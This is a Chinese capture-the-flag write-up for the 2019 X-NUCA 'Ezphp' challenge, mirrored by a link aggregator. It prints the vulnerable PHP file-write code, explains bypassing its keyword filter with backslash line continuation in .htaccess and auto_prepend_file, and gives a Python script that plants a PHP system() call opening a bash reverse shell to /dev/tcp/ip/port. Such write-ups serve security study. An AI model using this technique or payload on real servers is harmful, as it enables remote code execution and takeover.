1

2019 Xnuca_Ezphp WP

 2 years ago
source link: https://cyc1e183.github.io/2019/08/25/2019-Xnuca-Ezphp-WP/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

2019 Xnuca_Ezphp WP

发表于

2019-08-25 更新于 2020-03-05 分类于 Cyc1e的CTF之路

阅读次数: 36 本文字数: 2.5k 阅读时长 ≈ 2 分钟

这次不是滑水,是被难住了,时间都花在了Ezphp上,简单纪录一下

首先贴一下题目源码:

#index.php 
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>

题目的逻辑很简单,访问的时候清除该目录下除了index.php文件以外的所有文件,主要就是两个正则,而且只有一次写的机会,因为想要第二次写的话,就会把第一次写的东西给清了

$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();

文件名限制了只能是[a-z]和‘.’,而且题目环境设置了只有index.php文件解析,其他php文件不解析,本来想着绕过这个正则建立一个fl3g.php,用条件竞争来文件包含,奈何文件名的正则绕不过去,那就只能考虑绕content的正则了,只要关键字不被匹配到就能过,所以思路就是把关键字拆开,而且新建的php文件都不解析,所以首先想到的就是写一个.htaccess文件。
写.Htaccess文件的困难主要在于过滤了file,on,type之类的,而且文件后追加了\nJust one chance,没有办法注释的话,htaccess文件会出错,所以所有的功夫都用在绕过这两个点上。

参考:https://blog.csdn.net/cool_flag/article/details/78980097

利用添加 \ 的方法来换行书写,利用这种方法来处理过滤的关键字,输出的代码恰好会有不可见字符,正则匹配的时候是分开的,而逻辑上又是一行拼接在一起的一个完整的关键字,所以可以绕过过滤,例如file可以通过如下方式绕过

Fi\
Le

这样就可以绕过content的内容限制,而对于\nJust one chance也是利用同样的绕过方法,在内容末尾加上#\来注释后面的内容。只有一次写的机会自然不能用AddType application/x-httpd-php .xxx的方式,这样需要再写一个文件进去。
参考文章:https://bbs.pediy.com/thread-222907.htm,将代码写在htaccess文件里,利用php_value auto_prepend_file .htaccess让php文件包含htaccess文件,htaccess里的代码会执行,所以直接用反弹shell的方式简单粗暴一些,可以以利用404、403等页面来触发。

import requests

url = 'http://02cdf9ef40d440d1bd0ba727da4b348c21ce0e526eea4fad.changame.ichunqiu.com/'
payload = '?filename=.htaccess&content=php_value%20auto_prepend_fi\\%0Ale%20".htaccess"\n%23<?php system(\'bash -c "/bin/bash -i >%26 /dev/tcp/ip/port 0<%261"\');?>\\'
url2 = url + payload
r = requests.get(url2)
req = request.get(url)

vpss上监听一个端口,跑下脚本就可以收到反弹回来的shell,接下来找flag就好了,没想到的是竟然放在/root/下……


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK